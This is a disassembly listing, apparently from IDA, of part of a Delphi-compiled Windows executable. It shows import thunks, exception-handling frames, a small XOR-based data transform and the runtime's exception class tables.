======================================= ; Attributes: thunk sub_40006718 proc near ; CODE XREF: sub_4001567C+2Ep ; sub_40015918+9p jmp ds:dword_400244E0 sub_40006718 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006720 proc near ; CODE XREF: sub_40014D5C+Ap jmp ds:dword_400244DC sub_40006720 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006728 proc near ; CODE XREF: sub_4000BDA0+75p ; sub_4000BDA0+84p jmp ds:dword_400244D8 sub_40006728 endp ; --------------------------------------------------------------------------- align 10h db 0FFh db 25h ; % db 0D4h ; Ô OFF32 SEGDEF [_idata,400244D4] db 44h ; D db 2 db 40h ; @ align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006738 proc near ; CODE XREF: sub_4000ADE0+F2p ; sub_4000AF68+97p jmp ds:dword_400244D0 sub_40006738 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006740 proc near ; CODE XREF: sub_4000AF68+ADp jmp ds:dword_400244CC sub_40006740 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006748 proc near ; CODE XREF: sub_4001567C+F7p ; sub_40015918+37p jmp ds:dword_400244C8 sub_40006748 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40006750 proc near ; CODE XREF: sub_40017A1C+E2p ; sub_40017A1C+137p xchg eax, edx call sub_40002DFC retn sub_40006750 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40006758 proc near ; DATA XREF: .text:40018330o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40006793 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_4001E800 jnz short loc_40006785 cmp ds:dword_4001E804, 0 jz short loc_40006785 mov eax, ds:dword_4001E804 push eax call sub_40006548 ; FreeLibrary loc_40006785: ; CODE XREF: sub_40006758+17j ; sub_40006758+20j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000679A loc_40006792: ; CODE XREF: sub_40006758+40j retn ; --------------------------------------------------------------------------- loc_40006793: ; DATA XREF: sub_40006758+6o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40006792 ; --------------------------------------------------------------------------- loc_4000679A: ; CODE XREF: sub_40006758:loc_40006792j ; DATA XREF: sub_40006758+35o pop ebp retn sub_40006758 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000679C proc near ; CODE XREF: sub_4000684C+C4p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_40004D38 xor eax, eax push ebp push offset loc_40006838 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov eax, [ebp+var_4] test eax, eax jz short loc_400067D6 sub eax, 4 mov eax, [eax] loc_400067D6: ; CODE XREF: sub_4000679C+33j mov ecx, eax test ecx, ecx jle short loc_4000680F mov ebx, 1 loc_400067E1: ; CODE XREF: sub_4000679C+5Aj mov eax, [ebp+var_4] movzx eax, byte ptr [eax+ebx-1] movzx eax, al xor edx, edx add [ebp+var_10], eax adc [ebp+var_C], edx inc ebx dec ecx jnz short loc_400067E1 jmp short loc_4000680F ; --------------------------------------------------------------------------- loc_400067FA: ; CODE XREF: sub_4000679C+80j ; sub_4000679C:loc_40006820j push 0 push 2 mov eax, [ebp+var_10] mov edx, [ebp+var_C] call sub_400056C0 mov [ebp+var_10], eax mov [ebp+var_C], edx loc_4000680F: ; CODE XREF: sub_4000679C+3Ej ; sub_4000679C+5Cj cmp [ebp+var_C], 0 jnz short loc_40006820 cmp [ebp+var_10], 0FFh ja short loc_400067FA jmp short loc_40006822 ; --------------------------------------------------------------------------- loc_40006820: ; CODE XREF: sub_4000679C+77j jg short loc_400067FA loc_40006822: ; CODE XREF: sub_4000679C+82j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000683F loc_4000682F: ; CODE XREF: sub_4000679C+A1j lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_40006838: ; DATA XREF: sub_4000679C+15o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000682F ; --------------------------------------------------------------------------- loc_4000683F: ; CODE XREF: sub_4000679C+9Bj ; DATA XREF: sub_4000679C+8Eo mov eax, [ebp+var_10] mov edx, [ebp+var_C] pop ebx mov esp, ebp pop ebp retn sub_4000679C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000684C proc near ; CODE XREF: sub_40006A2C+53p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx mov [ebp+var_4], edx mov ebx, eax mov eax, [ebp+var_4] call sub_40004D38 xor eax, eax push ebp push offset loc_40006948 push dword ptr fs:[eax] mov fs:[eax], esp mov dword ptr [ebx], 0 mov dword ptr [ebx+4], 0 mov dword ptr [ebx+8], 0 mov dword ptr [ebx+0Ch], 0 mov dword ptr [ebx+10h], 0 mov dword ptr [ebx+14h], 0 cmp [ebp+arg_C], 0 jnz short loc_400068A3 cmp [ebp+arg_8], 1 jnb short loc_400068B3 jmp short loc_400068A5 ; --------------------------------------------------------------------------- loc_400068A3: ; CODE XREF: sub_4000684C+4Dj jge short loc_400068B3 loc_400068A5: ; CODE XREF: sub_4000684C+55j mov [ebp+arg_8], 1 mov [ebp+arg_C], 0 loc_400068B3: ; CODE XREF: sub_4000684C+53j ; sub_4000684C:loc_400068A3j cmp [ebp+arg_C], 0 jnz short loc_400068C1 cmp [ebp+arg_8], 64h jbe short loc_400068D1 jmp short loc_400068C3 ; --------------------------------------------------------------------------- loc_400068C1: ; CODE XREF: sub_4000684C+6Bj jle short loc_400068D1 loc_400068C3: ; CODE XREF: sub_4000684C+73j mov [ebp+arg_8], 63h mov [ebp+arg_C], 0 loc_400068D1: ; CODE XREF: sub_4000684C+71j ; sub_4000684C:loc_400068C1j cmp [ebp+arg_4], 0 jnz short loc_400068DF cmp [ebp+arg_0], 1 jnb short loc_400068EF jmp short loc_400068E1 ; --------------------------------------------------------------------------- loc_400068DF: ; CODE XREF: sub_4000684C+89j jge short loc_400068EF loc_400068E1: ; CODE XREF: sub_4000684C+91j mov [ebp+arg_0], 2 mov [ebp+arg_4], 0 loc_400068EF: ; CODE XREF: sub_4000684C+8Fj ; sub_4000684C:loc_400068DFj cmp [ebp+arg_4], 0 jnz short loc_400068FD cmp [ebp+arg_0], 64h jbe short loc_4000690D jmp short loc_400068FF ; --------------------------------------------------------------------------- loc_400068FD: ; CODE XREF: sub_4000684C+A7j jle short loc_4000690D loc_400068FF: ; CODE XREF: sub_4000684C+AFj mov [ebp+arg_0], 64h mov [ebp+arg_4], 0 loc_4000690D: ; CODE XREF: sub_4000684C+ADj ; sub_4000684C:loc_400068FDj mov eax, [ebp+var_4] call sub_4000679C mov [ebx], eax mov [ebx+4], edx mov eax, [ebp+arg_8] mov [ebx+8], eax mov eax, [ebp+arg_C] mov [ebx+0Ch], eax mov eax, [ebp+arg_0] mov [ebx+10h], eax mov eax, [ebp+arg_4] mov [ebx+14h], eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000694F loc_4000693F: ; CODE XREF: sub_4000684C+101j lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_40006948: ; DATA XREF: sub_4000684C+15o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000693F ; --------------------------------------------------------------------------- loc_4000694F: ; CODE XREF: sub_4000684C+FBj ; DATA XREF: sub_4000684C+EEo pop ebx pop ecx pop ebp retn 10h sub_4000684C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40006958 proc near ; CODE XREF: sub_40006A2C+60p var_44 = dword ptr -44h var_40 = dword ptr -40h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx push esi push edi mov esi, eax lea edi, [ebp+var_20] push ecx mov ecx, 6 rep movsd pop ecx mov [ebp+var_8], ecx mov [ebp+var_4], edx mov eax, [ebp+var_4] call sub_40004D38 xor eax, eax push ebp push offset loc_40006A1C push dword ptr fs:[eax] mov fs:[eax], esp mov esi, [ebp+var_4] mov eax, esi test eax, eax jz short loc_40006999 sub eax, 4 mov eax, [eax] loc_40006999: ; CODE XREF: sub_40006958+3Aj mov edx, [ebp+var_8] xchg eax, edx call sub_40004F74 mov ebx, [ebp+var_18] mov eax, esi test eax, eax jz short loc_400069B0 sub eax, 4 mov eax, [eax] loc_400069B0: ; CODE XREF: sub_40006958+51j mov edi, eax test edi, edi jle short loc_40006A06 mov esi, 1 loc_400069BB: ; CODE XREF: sub_40006958+ACj mov eax, ebx cdq cmp edx, [ebp+var_C] jnz short loc_400069CA cmp eax, [ebp+var_10] jbe short loc_400069CF jmp short loc_400069CC ; --------------------------------------------------------------------------- loc_400069CA: ; CODE XREF: sub_40006958+69j jle short loc_400069CF loc_400069CC: ; CODE XREF: sub_40006958+70j mov ebx, [ebp+var_18] loc_400069CF: ; CODE XREF: sub_40006958+6Ej ; sub_40006958:loc_400069CAj mov eax, [ebp+var_8] call sub_40004DA0 lea eax, [eax+esi-1] push eax mov eax, [ebp+var_4] movzx eax, byte ptr [eax+esi-1] movzx eax, al xor edx, edx push edx push eax mov eax, ebx cdq add eax, [ebp+var_20] adc edx, [ebp+var_1C] xor eax, [esp+44h+var_44] xor edx, [esp+44h+var_40] add esp, 8 pop edx mov [edx], al inc ebx inc esi dec edi jnz short loc_400069BB loc_40006A06: ; CODE XREF: sub_40006958+5Cj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40006A23 loc_40006A13: ; CODE XREF: sub_40006958+C9j lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_40006A1C: ; DATA XREF: sub_40006958+28o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40006A13 ; --------------------------------------------------------------------------- loc_40006A23: ; CODE XREF: sub_40006958+C3j ; DATA XREF: sub_40006958+B6o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40006958 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40006A2C proc near ; CODE XREF: sub_40017374+4Fp ; .itext:40019618p ... var_20 = byte ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx mov ebx, ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_40004D38 mov eax, [ebp+var_8] call sub_40004D38 xor eax, eax push ebp push offset loc_40006AAC push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] test eax, eax jz short loc_40006A65 sub eax, 4 mov eax, [eax] loc_40006A65: ; CODE XREF: sub_40006A2C+32j mov edx, ebx xchg eax, edx call sub_40004F74 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_20] mov edx, [ebp+var_8] call sub_4000684C mov ecx, ebx mov edx, [ebp+var_4] lea eax, [ebp+var_20] call sub_40006958 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40006AB3 loc_40006A9E: ; CODE XREF: sub_40006A2C+85j lea eax, [ebp+var_8] mov edx, 2 call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_40006AAC: ; DATA XREF: sub_40006A2C+22o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40006A9E ; --------------------------------------------------------------------------- loc_40006AB3: ; CODE XREF: sub_40006A2C+7Fj ; DATA XREF: sub_40006A2C+6Do pop ebx mov esp, ebp pop ebp retn 10h sub_40006A2C endp ; --------------------------------------------------------------------------- align 4 off_40006ABC dd offset dword_40006AC0 ; DATA XREF: sub_40016280+17r ; sub_40016280+31Fr ... dword_40006AC0 dd 61740C0Eh, 43584567h, 4E495045h, 204F46h, 30000h ; DATA XREF: .text:off_40006ABCo db 2 dup(0) dd offset off_4000100C dw 4 db 2 dup(0) dd offset off_4000100C dw 8 db 2 dup(0) dd offset off_4000100C dw 0Ch align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006AF0 proc near ; CODE XREF: sub_40016A34+69p jmp ds:dword_40024634 sub_40006AF0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006AF8 proc near ; CODE XREF: sub_40016AB0+4Ep jmp ds:dword_40024630 sub_40006AF8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006B00 proc near ; CODE XREF: sub_40016280+2FEp ; sub_40016958+8Ep jmp ds:dword_40024628 sub_40006B00 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006B08 proc near ; CODE XREF: sub_40016180+31p jmp ds:dword_40024624 sub_40006B08 endp ; --------------------------------------------------------------------------- align 10h off_40006B10 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF2Co dd 0FFF0h off_40006B18 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF24o dd 0FFF1h off_40006B20 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF84o dd 0FFF2h off_40006B28 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B084o dd 0FFF3h off_40006B30 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AEC4o dd 0FFF4h off_40006B38 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B034o dd 0FFF5h off_40006B40 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFE8o dd 0FFF6h off_40006B48 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF0Co dd 0FFF7h off_40006B50 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF34o dd 0FFF8h off_40006B58 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B094o dd 0FFF9h off_40006B60 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B08Co dd 0FFFAh off_40006B68 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF88o dd 0FFFBh off_40006B70 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B0A8o dd 0FFFCh off_40006B78 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B0C4o dd 0FFFDh off_40006B80 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFECo dd 0FFFEh off_40006B88 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B004o dd 0FFFFh off_40006B90 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFFCo dd 0FFE0h off_40006B98 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B0BCo dd 0FFE1h off_40006BA0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B020o dd 0FFE2h off_40006BA8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF74o dd 0FFE3h off_40006BB0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF70o dd 0FFE4h off_40006BB8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF78o dd 0FFE5h off_40006BC0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B088o dd 0FFE6h off_40006BC8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B0B8o dd 0FFE7h off_40006BD0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF28o dd 0FFE8h off_40006BD8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A85Co ; .data:off_4001AF38o dd 0FFE9h off_40006BE0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A860o ; .data:off_4001AF8Co dd 0FFEAh off_40006BE8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AEBCo ; --------------------------------------------------------------------------- jmp short near ptr loc_40006BEC+1 ; CODE XREF: .text:loc_40006BECj ; --------------------------------------------------------------------------- align 10h off_40006BF0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B0CCo dd 0FFECh off_40006BF8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B01Co dd 0FFEDh off_40006C00 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF94o dd 0FFEEh off_40006C08 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B050o dd 0FFEFh off_40006C10 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B0C0o dd 0FFD0h off_40006C18 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFD4o dd 0FFD1h off_40006C20 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFB4o dd 0FFD2h off_40006C28 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF98o dd 0FFD3h off_40006C30 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AEC0o dd 0FFD4h off_40006C38 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B014o dd 0FFD5h off_40006C40 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF00o dd 0FFD6h dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF44o dd 0FFD7h dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B090o dd 0FFD8h off_40006C58 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFF4o dd 0FFD9h off_40006C60 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AEFCo dd 0FFDAh off_40006C68 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AEE0o dd 0FFDBh off_40006C70 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B038o dd 0FFDCh off_40006C78 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AFA4o dd 0FFDDh off_40006C80 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B010o dd 0FFDEh off_40006C88 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B06Co dd 0FFDFh off_40006C90 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF40o dd 0FFC0h dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B060o dd 0FFC1h dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B030o ; --------------------------------------------------------------------------- retn 0FFh ; --------------------------------------------------------------------------- align 4 off_40006CA8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001B0A4o ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0FFh, 2 dup(0) off_40006CB0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A884o ; .data:off_4001B0ACo dd 0FFC4h off_40006CB8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A888o ; .data:off_4001AFD8o dd 0FFC5h off_40006CC0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A88Co ; .data:off_4001B080o dd 0FFC6h off_40006CC8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A890o ; .data:off_4001AEB8o dd 0FFC7h off_40006CD0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A894o ; .data:off_4001AEF4o dd 0FFC8h off_40006CD8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A898o ; .data:off_4001B0D0o dd 0FFC9h off_40006CE0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A89Co ; .data:off_4001B068o ; --------------------------------------------------------------------------- retf 0FFh ; --------------------------------------------------------------------------- align 4 off_40006CE8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8A0o ; .data:off_4001AED8o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0FFh, 2 dup(0) off_40006CF0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8A4o ; .data:off_4001AF30o db 0CCh db 0FFh, 2 dup(0) off_40006CF8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8A8o ; .data:off_4001AFDCo dd 0FFCDh off_40006D00 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8ACo ; .data:off_4001B070o dd 0FFCEh off_40006D08 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8B0o ; .data:off_4001B098o dd 0FFCFh off_40006D10 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8B4o ; .data:off_4001AF9Co dd 0FFB0h off_40006D18 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8B8o ; .data:off_4001AEC8o dd 0FFB1h off_40006D20 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8BCo ; .data:off_4001AF58o dd 0FFB2h off_40006D28 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8C0o ; .data:off_4001AFBCo dd 0FFB3h off_40006D30 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8C4o ; .data:off_4001AFF8o dd 0FFB4h off_40006D38 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8C8o ; .data:off_4001AFB0o dd 0FFB5h off_40006D40 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8CCo ; .data:off_4001AF48o dd 0FFB6h off_40006D48 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8D0o ; .data:off_4001AFC4o dd 0FFB7h off_40006D50 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8D4o ; .data:off_4001B03Co dd 0FFB8h off_40006D58 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8D8o ; .data:off_4001AECCo dd 0FFB9h off_40006D60 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8DCo ; .data:off_4001AF50o dd 0FFBAh off_40006D68 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8E0o ; .data:off_4001AF6Co dd 0FFBBh off_40006D70 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8E4o ; .data:off_4001B008o dd 0FFBCh off_40006D78 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8E8o ; .data:off_4001B040o dd 0FFBDh off_40006D80 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8ECo ; .data:off_4001B04Co dd 0FFBEh off_40006D88 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8F0o ; .data:off_4001AFE0o dd 0FFBFh off_40006D90 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8F4o ; .data:off_4001AF14o dd 0FFA0h off_40006D98 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8F8o ; .data:off_4001B000o dd 0FFA1h off_40006DA0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A8FCo ; .data:off_4001AF80o dd 0FFA2h off_40006DA8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A900o ; .data:off_4001AEF0o dd 0FFA3h off_40006DB0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A904o ; .data:off_4001AF10o dd 0FFA4h off_40006DB8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A908o ; .data:off_4001AF18o dd 0FFA5h off_40006DC0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A90Co ; .data:off_4001AED0o dd 0FFA6h off_40006DC8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A910o ; .data:off_4001B028o dd 0FFA7h off_40006DD0 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A914o ; .data:off_4001AEE8o dd 0FFA8h off_40006DD8 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001A918o ; .data:off_4001B078o dd 0FFA9h off_40006DE0 dd offset dword_40006E2C ; DATA XREF: .text:40006E70o ; .text:40006F28o ... dd 2 dup(0) dd offset dword_40006E2C dd 4 dup(0) dd offset word_40006E3E dd 0Ch dd offset off_4000101C dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40006E2C dd 0Eh, 10000h ; .text:40006DECo ... db 2 dup(0) dd offset off_40001000 dw 4 db 2 dup(0) word_40006E3E dw 4509h ; DATA XREF: .text:40006E00o dd 70656378h, 6E6F6974h off_40006E48 dd offset dword_40006E94 ; DATA XREF: .text:40006ECCo ; .text:40007354o dd 7 dup(0) dd offset dword_40006E94 dd 10h dd offset off_40006DE0 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_4000B204 dd offset sub_40003CD8 dword_40006E94 dd 6548450Eh, 78457061h, 74706563h, 906E6F69h ; DATA XREF: .text:off_40006E48o ; .text:40006E68o off_40006EA4 dd offset dword_40006EF0 ; DATA XREF: sub_4000B72C+8r dd 7 dup(0) dd offset dword_40006EF0 dd 10h dd offset off_40006E48 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_4000B204 dd offset sub_40003CD8 dword_40006EF0 dd 754F450Ch, 4D664F74h, 726F6D65h, 408D79h ; .text:40006EC4o off_40006F00 dd offset dword_40006F4C ; DATA XREF: sub_4000B230+2Dr ; sub_4000B230+4Cr dd 7 dup(0) dd offset dword_40006F4C dd 10h dd offset off_40006DE0 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40006F4C dd 6E49450Bh, 4574754Fh, 726F7272h ; .text:40006F20o off_40006F58 dd offset dword_40006FA4 ; DATA XREF: .text:40006FD8o ; .text:40007038o ... dd 7 dup(0) dd offset dword_40006FA4 dd 10h dd offset off_40006DE0 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40006FA4 dd 78454509h, 6E726574h, 0C08B6C61h ; .text:40006F78o off_40006FB0 dd offset dword_40006FFC ; DATA XREF: sub_4000B654+80r dd 7 dup(0) dd offset dword_40006FFC dd 10h dd offset off_40006F58 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40006FFC dd 78454512h, 6E726574h, 78456C61h, 74706563h, 906E6F69h ; DATA XREF: .text:off_40006FB0o ; .text:40006FD0o ... off_40007010 dd offset dword_4000705C ; DATA XREF: .text:40007090o ; .text:400070E8o ... dd 7 dup(0) dd offset dword_4000705C dd 10h dd offset off_40006F58 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4000705C dd 6E494509h, 72724574h, 0C08B726Fh ; .text:40007030o dd offset dword_400070B4 dd 7 dup(0) dd offset dword_400070B4 dd 10h dd offset off_40007010 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_400070B4 dd 6944450Ah, 5A794276h, 906F7265h ; .text:40007088o ... off_400070C0 dd offset dword_4000710C ; DATA XREF: sub_4000E068+Br dd 7 dup(0) dd offset dword_4000710C dd 10h dd offset off_40007010 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4000710C dd 6152450Bh, 4565676Eh, 726F7272h ; .text:400070E0o ... dd offset dword_40007164 dd 7 dup(0) dd offset dword_40007164 dd 10h dd offset off_40007010 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40007164 dd 6E49450Ch, 65764F74h, 6F6C6672h, 408D77h ; .text:40007138o ... off_40007174 dd offset dword_400071C0 ; DATA XREF: .text:400071F4o ; .text:4000724Co ... dd 7 dup(0) dd offset dword_400071C0 dd 10h dd offset off_40006F58 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_400071C0 dd 614D450Ah, 72456874h, 90726F72h ; .text:40007194o dd offset dword_40007218 dd 7 dup(0) dd offset dword_40007218 dd 10h dd offset off_40007174 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40007218 dd 6E49450Ah, 696C6176h, 90704F64h ; .text:400071ECo ... dd offset dword_40007270 dd 7 dup(0) dd offset dword_40007270 dd 10h dd offset off_40007174 dd offset sub_40003EF4 dd offset nullsub_2 